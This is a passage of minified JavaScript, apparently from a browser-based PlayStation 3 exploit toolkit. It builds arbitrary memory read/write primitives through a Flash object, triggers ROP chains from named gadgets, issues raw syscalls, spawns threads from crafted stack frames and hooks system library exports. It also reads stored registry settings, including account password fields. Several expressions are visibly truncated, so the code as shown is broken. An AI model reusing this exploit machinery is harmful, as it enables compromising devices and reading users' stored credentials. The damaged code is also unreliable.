s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_memory_allocate_from_container,r,helper.browser_container,1024,s));if(o>0){Logger.debug("Browser memory container cannot provide any RAM");var l=helper.heap.store(72);if(!e||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset,l))||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset+r-4096,l+36)))return Logger.error("sysmem: Error: 0x"+o.toString(16)+" - Failure to allocate 0x"+r.toString(16)+" buffer from browser container."),helper.heap.free([s,l]),t=null,void toast("A fatal memory allocation error occurred, check the logs. You may need to reboot the console for the PS3 Toolset to function correctly.","error",8);Logger.debug("Reusing previously allocated container memory from session cookie"),t={offset:e.offset,size:r},helper.heap.free([l])}else{var n=helper.memory.upeek32(s);helper.heap.free([s]),Logger.debug("sysmem: Buffer allocated offset 0x"+n.toString(16)+" size 0x"+r.toString(16)+" - Available Free Memory 0x"+r.toString(16)),t={offset:n,size:r}}helper.cookies.set("sm_container",t)}if(helper.heap.free([e]),helper.cookies.get("sm_container")){Logger.debug("Found memory container cookie");var n=helper.cookies.getJSON("sm_container");o0?e=jQuery.grep(e,function(e){return e===t&&Logger.debug("sysmem.free: Freed System memory object "+t.offset.toString(16)),e!==t}):Logger.info("sysmem.free: No System memory to free")},this.close=function(){!function(){if(helper.cookies.get("sm_container")&&t&&t.offset>0){var r=helper.heap.store(36);0===helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,t.offset,r))&&(helper.rop.run(syscall32(helper.sys_memory_free,t.offset)),Logger.debug("sysmem.close: Buffer freed offset 0x"+t.offset.toString(16)),helper.sm=null,e=[],t=null,s=null),helper.heap.free([r]),helper.cookies.remove("sm_container"),Logger.info("Removed container memory session")}}()}},IOQ=function(){this.elements=[],this.length=function(){return this.elements.length},this.get=function(e){return e>=0&&e=0&&e0?this.elements[0]:null},t.last=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new FIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},LIFOQ=function(e){var t=new IOQ;return t.remove=function(){this.elements.pop()},t.removeLast=function(){this.elements.shift()},t.first=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.last=function(){return this.elements.length>0?this.elements[0]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new LIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},workerThread=function(e){if(helper.wt_pool.length>2)return Logger.error("Maximum number of worker threads: 3"),null;if(jQuery.grep(helper.wt_pool,function(e){return e===t}).length>0)return Logger.error("Thread Name already in use"),null;var t=e,r=helper.wt_pool,s=helper.vtemp_addr;if(helper.wt_pool.push(t),!helper.sm&&(helper.sm=new sysmem,!helper.sm))return Logger.error("Worker Thread helper.sm creation failed"),helper.wt_pool=r,null;var o=helper.sm.alloc(t);if(!o)return Logger.error("Worker Thread Local Storage allocation failed"),helper.wt_pool=r,null;helper.vtemp_addr=o.offset+o.size-16384,this.getTLS=function(){return o||alert("TLS error"),o};var l=o.offset+131072,n=new semaphoreObject(helper.sem_attr_fifo);if(n.create()>0)return Logger.error("Worker creation error: could not acquire a semaphore"),helper.vtemp_addr=s,helper.wt_pool=r,null;var i=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+vsyscall32(helper.sys_sem_wait,n.id(),0),a=vset_r3to11(l,0,0,0,0,0,0,0,0)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget10_addr);helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+4096).toString32()+"0000000000000000"+t.toAscii8()),sf=i+a,sf.length>425984&&Logger.warn("Worker Thread "+t+" SF bytelength: 0x"+(2*sf.length).toString(16)),helper.memory.upokes(l+4096,sf),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,201,4096,0,l+32));var p=helper.memory.upeek32(l+28);helper.rop.run(syscall32(helper.sys_ppu_thread_start,p)),Logger.info("Started Worker Thread with ID: 0x"+p.toString(16));var c={id:p,stack_offset:l+4096,stack_size:sf.length/2,sem_id:n.id(),tls:o};Logger.debug("thread id : 0x"+c.id.toString(16)),Logger.debug("semaphore id : 0x"+c.sem_id.toString(16)),Logger.debug("tls offset : 0x"+c.tls.offset.toString(16)),Logger.debug("stack offset : 0x"+c.stack_offset.toString(16)),helper.cookies.set(t,c);var d=new FIFOQ;this.getQlength=function(){return d.length()};var u=new mutexObject(helper.mtx_attr_fifo);u.create(),this.getMutex=function(){return u};var h=0,g=!1,f=!1,_=function(){if(0!==d.length()){var e=n.numWaitThreads();if(e<=0||!0===g)return e<0?Logger.debug("semaphore numWaitThreads returned -1"):Logger.debug("semaphore numWaitThreads returned "+e.toString(16)),void Logger.debug(!0===g?"worker busy":"worker free");g=!0,y(),f=!0;var t,r=d.first();if(r)if(d.remove(),f=!1,helper.memory.upokes(c.stack_offset,(t=vsyscall32(helper.sys_mutex_lock,u.id(),0)+r.sf+vsyscall32(helper.sys_mutex_unlock,u.id()),i+t+a)),r.pre_callback&&r.pre_callback(),n.fast_post(),r.post_callback){setTimeout(function(){!function e(t){var r=n.numWaitThreads();if(r<=0)return Logger.debug("Worker busy, postcallback postponed! semval = "+r.toString(16)),void setTimeout(function(){e(t)},100);Logger.debug("running post_callback"),0===t.index||4294967295===t.index?setTimeout(function(){t.post_callback()},1e3):(t.post_callback(),b(),g=!1)}(r)},100)}else b(),g=!1;else f=!1,b(),g=!1}else y()},m=0,x=0;function b(){0===m&&d.length()>0?(clearInterval(x),x=0,m=setInterval(_,200)):0===x&&(x=setInterval(b,1e3))}function y(){m>0&&(clearInterval(m),m=0)}this.run=function(e,t,r,s){var o=function(e,t,r,s,l){!0!==f?c?(d.add({index:e,sf:t,name:r,pre_callback:s,post_callback:l}),b()):Logger.warn("Worker Thread Closed - Cannot run stack frames"):setTimeout(function(){o(e,t,r,s,l)},0)};o(++h,e,t,r,s)};var v=function(){if(y(),u.close(),n.close(),delete n,n=null,helper.cookies.remove(t),c=null,helper.sm.free(o),o=null,"BGTOOLSET_WKR_FMM"===t?helper.worker.fmm=null:"BGTOOLSET_WKR_UDP"===t?helper.worker.udp=null:"BGTOOLSET_WKR_FE"===t&&(helper.worker.fe=null),helper.wt_pool=jQuery.grep(helper.wt_pool,function(e){return e!==t}),0===helper.wt_pool.length);else if(helper.worker.fmm){var e=helper.worker.fmm.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.udp){e=helper.worker.udp.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.fe){e=helper.worker.fe.getTLS();helper.vtemp_addr=e.offset+e.size-16384}};function C(){Logger.debug("Closing "+t+" Thread ID: "+c.id.toString(16))}this.cancel=function(e){var t=function(){!0!==f?(d.reset(),c&&e?(d.add({index:0,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Cancel",pre_callback:C,post_callback:v}),b()):y()):setTimeout(t,0)};t()},this.close=function(){var e=function(){!0!==f?c?(d.add({index:4294967295,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Close",pre_callback:C,post_callback:v}),b()):Logger.info("Worker Thread Already Closed"):setTimeout(e,0)};e()},window.onunload=function(e){helper.xregistry&&helper.xregistry.xclose(),helper.bc&&helper.bc.close(),helper.wt_pool.length>0&&clearThreadSession(),helper.existPatchData&&!helper.existPatchData()&&helper.deletePatchData()}},holder=[],clearThreadSession=function(e){for(var t=0;t16)return;n++,i()}else helper.rop.run(syscall32(helper.sys_sem_close,r.sem_id))}i()}else Logger.warn(o>0?"Thread ID Session GC failure - Error: 0x"+o.toString(16):"Thread ID Session GC failure - Priority: 0x"+helper.memory.upeek32(s).toString(16));helper.heap.free([s]),helper.cookies.remove(helper.wt_pool[t])}else Logger.info("No GC required for Thread "+helper.wt_pool[t]);setTimeout(function(){for(var e=0;e15728640)&&(0===e.length?helper.error("heap.store: argument error - Stored data must not be 0 byte long"):helper.error("heap.store: argument error - Total heap data storage is limited to 15Mb, use helper.buffer.create(size) if you need larger buffers up to 64Mb")),helper.swf.storeData(e)},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t)})},this.storeUTF=function(e){return null!=e&&"string"==typeof e||(e="number"==typeof e?e.toString(16):""),(0===e.length||e.length>65535)&&(0===e.length?helper.error("heap.storeUTF: argument error - String must not be empty"):helper.error("heap.storeUTF: argument error - String size is limited to 64kb")),helper.swf.storeData(e,0,!0)},this.freeUTF=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t,!0)})},this.reset=function(){helper.swf.clearHeap()},this.queue=function(t){t&&(e=$.merge(e,!0===Array.isArray(t)?t:[t]))},this.flush=function(){this.free(e)}},stack=function(){this.reset=function(){helper.swf.clearStack()},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeSF(t)})},this.store=function(e,t){return null!=e&&e.length<=4194304&&e.length>=224?helper.swf.storeSF(e,t):(e.length,helper.error("store: Total stack data storage is 2Mb. Current Stack Frame collection size: "+Math.floor(e.length/1048576).toString()+" Mb"),0)}},lockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().lock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().lock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().lock()},unlockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().unlock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().unlock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().unlock()},soundPlayer=function(){loadSoundAssets();var e=document.getElementById("PS3TSound");this.playOK=function(){if(e){lockMutexes();try{e.play_ok()}catch(e){Logger.debug("Sound play_ok: "+e)}unlockMutexes()}},this.playNG=function(){if(e){lockMutexes();try{e.play_ng()}catch(e){Logger.debug("Sound play_ng: "+e)}unlockMutexes()}}},memory=function(){function e(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;if(e>=65536&&e<8388608)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t));if(helper.heap.free([t]),0===r)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}function t(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t)),s=262144===helper.memory.upeek32(t+4);if(helper.heap.free([t]),0===r&&s)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}this.secure_test=function(t,r){return function(t,r){var s=!1;if("number"==typeof t&&r>0)if(s=!0,t>=2147483648&&t+r<2415919104);else if(t>=65536&&t+r<8388608);else{var o=r<16?r:r<256?16:r<4096?256:r<65536?4096:r<1048576?65536:r<16777216?1048576:16777216,l=r%o,n=r===o?1:Math.floor(r/o)+1,i=0;for(i=0;i0&&!0===s&&(e(t+i*o+l-l%4-4)||(Logger.error("Secure Memory Access: Unallocated Offset 0x"+(t+i*o+l-l%4-4).toString(16)),s=!1))}return s}(t,r)},this.secure_upeek8=function(t){if(!e(t))throw Error("secure_upeek8: offset "+t.toString(16)+" not allocated");return helper.swf.leakbyte(t)},this.secure_upoke8=function(e,r){if(!t(e))throw Error("secure_upoke8: offset "+e.toString(16)+" not allocated");helper.swf.writebyte(e,255&r)},this.secure_upeek16=function(t){if(!e(t))throw Error("secure_upeek16: offset "+t.toString(16)+" not allocated");return helper.swf.leakval16(t)},this.secure_upoke16=function(e,r){if(!t(e))throw Error("secure_upoke16: offset "+e.toString(16)+" not allocated");helper.swf.writeval16(e,65535&r)},this.secure_upeek32=function(t){if(!e(t))throw Error("secure_upeek32: offset "+t.toString(16)+" not allocated");return helper.swf.leakval32(t)},this.secure_upoke32=function(e,r){if(!t(e))throw Error("secure_upoke32: offset "+e.toString(16)+" not allocated");helper.swf.writeval32(e,4294967295&r)},this.secure_upeeks=function(t,r,s,o){for(var l=0;l<4*Math.floor(r/4);l+=4)if(!e(t+l))throw Error("secure_upeeks: offset "+(t+l).toString(16)+" not allocated");return helper.swf.leakbytes(t,r,s,o)},this.secure_upokes=function(e,r,s){for(var o=s?r.length:r.length/2,l=0;l<4*Math.floor(o/4);l+=4)if(!t(e+l))throw Error("secure_upokes: offset "+(e+l).toString(16)+" not allocated");helper.swf.writebytes(e,r,s)},this.upeek8=function(e){return helper.swf.leakbyte(e)},this.upoke8=function(e,t){helper.swf.writebyte(e,255&t)},this.upeek16=function(e){return helper.swf.leakval16(e)},this.upoke16=function(e,t){helper.swf.writeval16(e,65535&t)},this.upeek32=function(e){return helper.swf.leakval32(e)},this.upoke32=function(e,t){helper.swf.writeval32(e,4294967295&t)},this.upeeks=function(e,t,r,s){return helper.swf.leakbytes(e,t,r,s)},this.upokes=function(e,t,r){helper.swf.writebytes(e,t,r)}},ROP=function(){this.run=function(e){helper.swf.triggerROP(e)},this.rrun=function(e,t){var r=helper.heap.store();helper.swf.triggerROP(e+store_r3_word(r));var s=helper.memory.upeek32(r);return helper.heap.free([s]),s}};function createXRegistryTree(){var e=[{id:"xtree_setting",parent:"#",text:"/setting"}];jQuery.each(xRegSettings.directory,function(t,r){jQuery.each(xRegSettings.directory,function(t,s){if(r+s.substr(s.lastIndexOf("/"))===s){var o={"data-xrf":[]};jQuery.each(xRegSettings.active,function(e,t){s+t.substr(t.lastIndexOf("/"))===t&&o["data-xrf"].push(t)}),e.push({id:"xtree"+s.replace(/([/])/g,"_"),icon:"jstree-folder",parent:"xtree"+r.replace(/([/])/g,"_"),text:s,a_attr:o})}})});var t=jQuery("#xr_ktree");t.jstree({core:{data:e,multiple:!1},plugins:["unique","search","sort","changed"],themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1}}),t.on("select_node.jstree",function(e,t){return setTimeout(function(){alert(t.node.a_attr)},0),!0})}var xRegistryGlobalSettings=["/setting/categoryVersion","/setting/system/powerOnDiscBoot","/setting/np/env","/setting/bddvd/dvdMenuLanguage","/setting/bt/controller1/sdpinfo","/setting/system/hddSerial","/setting/wboard/baseUri","/setting/net/adhocSsidPrefix","/setting/user/lastCreatedUserId","/setting/user/defaultLoginUserId","/setting/music/codec","/setting/music/bitRateAac","/setting/music/bitRateMp3","/setting/music/bitRateAtrac"],xRegistryUserSettings=["/setting/user//browser/homeUri","/setting/user//ytaccount/accountid","/setting/user//ytaccount/password","/setting/user//account/utf8name","/setting/user//browser/cacheSize"];function testXRegTable(){var e="
",t=0,r=0,s=0,o=0,l=0,n=helper.heap.store(16),i="",a="",p="",c=helper.heap.store(),d=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));for(helper.profileId||(helper.profileId="00000001"),s=0;s0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i="type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+xRegistryGlobalSettings[s]+" data: "+i+"
",Logger.info("createXRegTable added object id "+xRegistryGlobalSettings[s].replace(/([/])/g,"_")),helper.heap.free([t]);for(s=0;s",helper.profileId),t=helper.heap.store(a,!0),r=helper.rop.rrun(call_subByOpd(x3.getOPDbyNID(1292259751),helper.memory.upeek32(d+68),t,n,n+4,n+8,n+12)),Logger.info("x3_4D0651A7_opd_addr peek "+helper.memory.upeek32(n).toString32()+helper.memory.upeek32(n+4).toString32()+helper.memory.upeek32(n+8).toString32()+helper.memory.upeek32(n+12).toString32()),0===r?(l=0,(o=helper.memory.upeek32(n+8))>0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i=" type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+a+" value: "+i+"
",Logger.info("createXRegTable added object id "+a.replace(/([/])/g,"_")),helper.heap.free([t]);return helper.heap.free([c,n]),e+="
"}var xRegSettings=null;function createXRegistryTable(){var e=-1,t=-1,r=0;helper.xregistry||(helper.xregistry=new xRegistry);var s=helper.xregistry.xgetList("/*");if(xRegSettings={active:[],inactive:[],hidden:[],directory:[],xlist:s},s&&0===s.error){Logger.info("xRegistry Settings List: 0x"+s.list.toString(16)+" length: 0x"+s.length.toString(16)+" unk3: [0x"+s.unk3[0].toString16()+",0x"+s.unk3[1].toString16()+",0x"+s.unk3[2].toString16()+"]"),setTimeout(function(){!function o(l){var n=0,i=0,a="";for(r=l;r>=536870912;r=helper.memory.upeek32(r+16)){if(++e>0&&e%128==0)return t++,void setTimeout(function(){o(r)},50);if(r>805306352)break;var p=helper.memory.upeeks(r,16);if(i=parseInt(p.substr(24,8),16),!((n=parseInt(p.substr(0,8),16))>=536870912&&n<805306240))break;(a=helper.memory.upeeks(n,128,!0)).length<10||i>0?1===i?xRegSettings.inactive.push({setting:a,pointer:n}):2===i?xRegSettings.directory.push({setting:a,pointer:n}):3===i&&xRegSettings.hidden.push({setting:a,pointer:n}):xRegSettings.active.push({setting:a,pointer:n})}(e>=s.length||0===a.length)&&(Logger.info("processXRegistryTable : Count 0x"+(e-t).toString(16)),setTimeout(processXRegistryTable,50))}(s.list)},50)}else Logger.error("Error extracting xRegistry list 0x"+s.error.toString(16)),toast("xRegistry Data Extraction Error 0x"+s.error.toString(16),"error",5),setTimeout(processXRegistryTable,0)}function getNIDfuncOPD(e,t){t=parseInt(t),Logger.info("getNIDfuncOPD: Search for fnid 0x"+t.toString(16)+" in "+e);for(var r=0,s="",o="",l=0,n=helper.memory.upeek32(helper.memory.upeek32(65676)+2436),i="";469762049===helper.memory.upeek32(n-28);)n-=28;for(;469762049===helper.memory.upeek32(n);){if(i=helper.memory.upeeks(n,28),helper.memory.upeeks(parseInt("0x"+i.substr(-24,8),16),32,!0)===e){for(Logger.info("getNIDfuncOPD: found linked list for library "+e),l=parseInt("0x"+i.substr(12,4),16),Logger.info("getNIDfuncOPD: scanning through "+l.toString()+" exports"),s=helper.memory.upeeks(parseInt("0x"+i.substr(-16,8),16),4*l),o=helper.memory.upeeks(parseInt("0x"+i.substr(-8),16),4*l),r=0;r<8*l;r+=8)if(t===parseInt("0x"+s.substr(r,8),16))return Logger.info("getNIDfuncOPD: found OPD 0x"+parseInt("0x"+o.substr(r,8),16).toString(16)),parseInt("0x"+o.substr(r,8),16);Logger.error("getNIDfuncOPD: fnid 0x"+t.toString(16)+" could not be found in vsh library "+e);break}n+=28}return 0}function fillNIDfunc_OPDs(e){var t=0,r=0,s=0,o=0,l=0,n=0,i="",a="",p="",c="",d=!1;for(l=helper.memory.upeek32(helper.memory.upeek32(65676)+2436);469762049===helper.memory.upeek32(l-28);)l-=28;for(;469762049===helper.memory.upeek32(l);){if(r=0,c=helper.memory.upeeks(l,28),(i=helper.memory.upeeks(parseInt("0x"+c.substr(-24,8),16),64,!0)).length>0){n=parseInt("0x"+c.substr(12,4),16),a=helper.memory.upeeks(parseInt("0x"+c.substr(-16,8),16),4*n),p=helper.memory.upeeks(parseInt("0x"+c.substr(-8),16),4*n);var u=window[i]?window[i]:window[i]={libname:i,opds:{nids:{},names:{}},names:{},getOPDbyNID:function(e){return(e="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"").length>0&&this.opds.nids[e]?this.opds.nids[e]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}};for(o=0;o<8*n;o+=8){d=!1;var h=parseInt("0x"+a.substr(o,8),16),g=parseInt("0x"+p.substr(o,8),16),f=u.names["0x"+h.toString(16).toUpperCase()];f&&f.length>0&&(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names[f]=g,u[f]=g?new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+f+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++,d=!0),d||(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names["export_"+h.toString(16)]=g,exps="export_"+h.toString(16),u[exps]=g?new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+exps+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++)}t++,Logger.info("Detected VSH Export library '"+i+"' - hooked up "+r.toString()+" exports")}l+=28}return Logger.info("VSH Exports Detection: Number of hooked up libraries "+t.toString()+" Total Number of hooked exports "+s.toString()),t}var allocator={libname:"allocator",opds:{nids:{},names:{}},names:{"0x45E124A":"operator_delete_array","0xD84B3689":"operator_delete","0xAD382A99":"operator_delete_nothrow","0xF58E83A5":"operator_new_array","0x2356EF16":"operator_new_array_nothrow","0x96BC2578":"operator_new_array_2","0x83B2CC6F":"operator_new","0xBB712718":"operator_new_nothrow","0xED3DA02B":"operator_new_2","0xA72A7595":"calloc","0x77A602DD":"free","0x759E0635":"malloc","0x79EADF05":"malloc_usable_size","0x6137D196":"memalign","0xF7A14A22":"realloc","0xA830FDD8":"sce_paf_private_calloc","0x97C02090":"sce_paf_private_dump_heap_info","0x6997B837":"sce_paf_private_free","0x58B43627":"sce_paf_private_heapmemory","0xE27B3C01":"sce_paf_private_malloc","0x799473AE":"sce_paf_private_memalign","0x679E8CAF":"sce_paf_private_realloc","0xD2B978F5":"sce_paf_private_report_memblk"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellHttp={libname:"cellHttp",opds:{nids:{},names:{}},names:{"0x1B5BDCC6":"cellHttpAddCookieWithClientId","0x33347DDD":"cellHttpAuthCacheExport","0xDCDF003A":"cellHttpAuthCacheFlush","0xF92217C5":"cellHttpAuthCacheGetEntryMax","0xDA56BFAA":"cellHttpAuthCacheImport","0xD33AD4D0":"cellHttpAuthCacheSetEntryMax","0x4B33942A":"cellHttpClientAddHeader","0x2033B878":"cellHttpClientCloseAllConnections","0x27F86D70":"cellHttpClientCloseConnections","0x617EEC02":"cellHttpClientDeleteHeader","0xD9C65BE":"cellHttpClientGetAllHeaders","0xFCE39343":"cellHttpClientGetAuthenticationCacheStatus","0x5980A293":"cellHttpClientGetAutoAuthentication","0x2960E309":"cellHttpClientGetAutoRedirect","0x14BFC765":"cellHttpClientGetConnTimeout","0x431E1407":"cellHttpClientGetConnectionWaitStatus","0x1249C1D1":"cellHttpClientGetConnectionWaitTimeout","0xEB9C1E5E":"cellHttpClientGetCookieStatus","0xD1EC0B25":"cellHttpClientGetHeader","0x591C21A8":"cellHttpClientGetKeepAlive","0x98CE061C":"cellHttpClientGetMinSslVersion","0x46BCC9FF":"cellHttpClientGetPerHostKeepAliveMax","0xFFC74003":"cellHttpClientGetPerHostPoolSize","0xD06C90A4":"cellHttpClientGetPerPipelineMax","0x2A1F28F6":"cellHttpClientGetPipeline","0x4D40CF98":"cellHttpClientGetProxy","0x130150EA":"cellHttpClientGetRecvBufferSize","0xBA78E51F":"cellHttpClientGetRecvTimeout","0x6884CDB7":"cellHttpClientGetResponseBufferMax","0xD3FCD411":"cellHttpClientGetSendBufferSize","0x271A0B06":"cellHttpClientGetSendTimeout","0xCCF57336":"cellHttpClientGetSslVersion","0x70F1020":"cellHttpClientGetTotalPoolSize","0xEE05B0C1":"cellHttpClientGetUserAgent","0xDC405507":"cellHttpClientGetVersion","0xADC0A4B2":"cellHttpClientPollConnections","0x6EED4999":"cellHttpClientSetAuthenticationCacheStatus","0x660D42A9":"cellHttpClientSetAuthenticationCallback","0x8EAF47A3":"cellHttpClientSetAutoAuthentication","0x211D8BA3":"cellHttpClientSetAutoRedirect","0x88F79869":"cellHttpClientSetCacheStatus","0xD7471088":"cellHttpClientSetConnTimeout","0x85FB7363":"cellHttpClientSetConnectionStateCallback","0x88B71A4C":"cellHttpClientSetConnectionWaitStatus","0xB7CB7D05":"cellHttpClientSetConnectionWaitTimeout","0x13FE767B":"cellHttpClientSetCookieRecvCallback","0x4D915204":"cellHttpClientSetCookieSendCallback","0x434419C8":"cellHttpClientSetCookieStatus","0xA34C4B6F":"cellHttpClientSetHeader","0x5D473170":"cellHttpClientSetKeepAlive","0xE6C7D333":"cellHttpClientSetMinSslVersion","0x595ADEE9":"cellHttpClientSetPerHostKeepAliveMax","0xAB1C55AB":"cellHttpClientSetPerHostPoolSize","0xDC7ED599":"cellHttpClientSetPerPipelineMax","0x296A46CF":"cellHttpClientSetPipeline","0xD7D3CD5D":"cellHttpClientSetProxy","0xBF6E3659":"cellHttpClientSetRecvBufferSize","0x224E1610":"cellHttpClientSetRecvTimeout","0x473CD9F1":"cellHttpClientSetRedirectCallback","0xADD66B5C":"cellHttpClientSetResponseBufferMax","0xBB6C0EB2":"cellHttpClientSetSendBufferSize","0x71714CDC":"cellHttpClientSetSendTimeout","0x1395D8D1":"cellHttpClientSetSslCallback","0xD8352A40":"cellHttpClientSetSslClientCertificate","0x7313C78D":"cellHttpClientSetSslIdDestroyCallback","0x65691795":"cellHttpClientSetSslVersion","0x8AA5FCD3":"cellHttpClientSetTotalPoolSize","0xB6FEB84B":"cellHttpClientSetTransactionStateCallback","0xCAC9FC34":"cellHttpClientSetUserAgent","0x40547D8B":"cellHttpClientSetVersion","0xC79173FF":"cellHttpCookieExport","0xF972C733":"cellHttpCookieExportWithClientId","0x8FC281F7":"cellHttpCookieFlush","0x6C1FFE4E":"cellHttpCookieImport","0xD846D63":"cellHttpCookieImportWithClientId","0x4E4EE53A":"cellHttpCreateClient","0x52A80D9":"cellHttpCreateTransaction","0x980855AC":"cellHttpDestroyClient","0x32F5CAE2":"cellHttpDestroyTransaction","0xD276FF1F":"cellHttpEnd","0xA39FE9DC":"cellHttpEndCache","0x61B2BADE":"cellHttpEndCookie","0xD632A727":"cellHttpEndExternalCache","0x1AC58D11":"cellHttpFlushCache","0x8DC2D51D":"cellHttpFlushExternalCache","0xC6771F43":"cellHttpGetCacheInfo","0x8BEDEFA8":"cellHttpGetCookie","0xE95BFC2C":"cellHttpGetMemoryInfo","0x2A87603A":"cellHttpGetProxy","0x250C386C":"cellHttpInit","0xB4FA3111":"cellHttpInitCache","0x9638F766":"cellHttpInitCookie","0x9E4B77":"cellHttpInitExternalCache","0x61C90691":"cellHttpRecvResponse","0xED993147":"cellHttpRequestAddHeader","0x16214411":"cellHttpRequestDeleteHeader","0x42205FE0":"cellHttpRequestGetAllHeaders","0x4137A1F6":"cellHttpRequestGetChunkedTransferStatus","0x958323CF":"cellHttpRequestGetContentLength","0xB9FEA5F":"cellHttpRequestGetHeader","0x8E3F7EE1":"cellHttpRequestSetChunkedTransferStatus","0xAF73A64E":"cellHttpRequestSetContentLength","0x54F2A4DE":"cellHttpRequestSetHeader","0xBEA17389":"cellHttpResponseGetAllHeaders","0x464FF889":"cellHttpResponseGetContentLength","0x4F5D8D20":"cellHttpResponseGetHeader","0x10D0D7FC":"cellHttpResponseGetStatusCode","0x6A81B5E4":"cellHttpResponseGetStatusLine","0xA755B005":"cellHttpSendRequest","0xAD6A2E5B":"cellHttpSessionCookieFlush","0xD896B97":"cellHttpSetProxy","0x2D52848B":"cellHttpTransactionAbortConnection","0xA0D9223C":"cellHttpTransactionCloseConnection","0x38954133":"cellHttpTransactionGetSslCipherBits","0x34061E49":"cellHttpTransactionGetSslCipherId","0x895C604C":"cellHttpTransactionGetSslCipherName","0xE3C424B3":"cellHttpTransactionGetSslCipherString","0x93E938E5":"cellHttpTransactionGetSslCipherVersion","0x2A78FF04":"cellHttpTransactionGetSslId","0xAD1C6F02":"cellHttpTransactionGetSslVersion","0xEF17399":"cellHttpTransactionGetUri","0xD47CC666":"cellHttpTransactionReleaseConnection","0x5C8AE162":"cellHttpTransactionSetUri","0xE6D4202F":"cellHttpsEnd","0x522180BC":"cellHttpsInit"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof 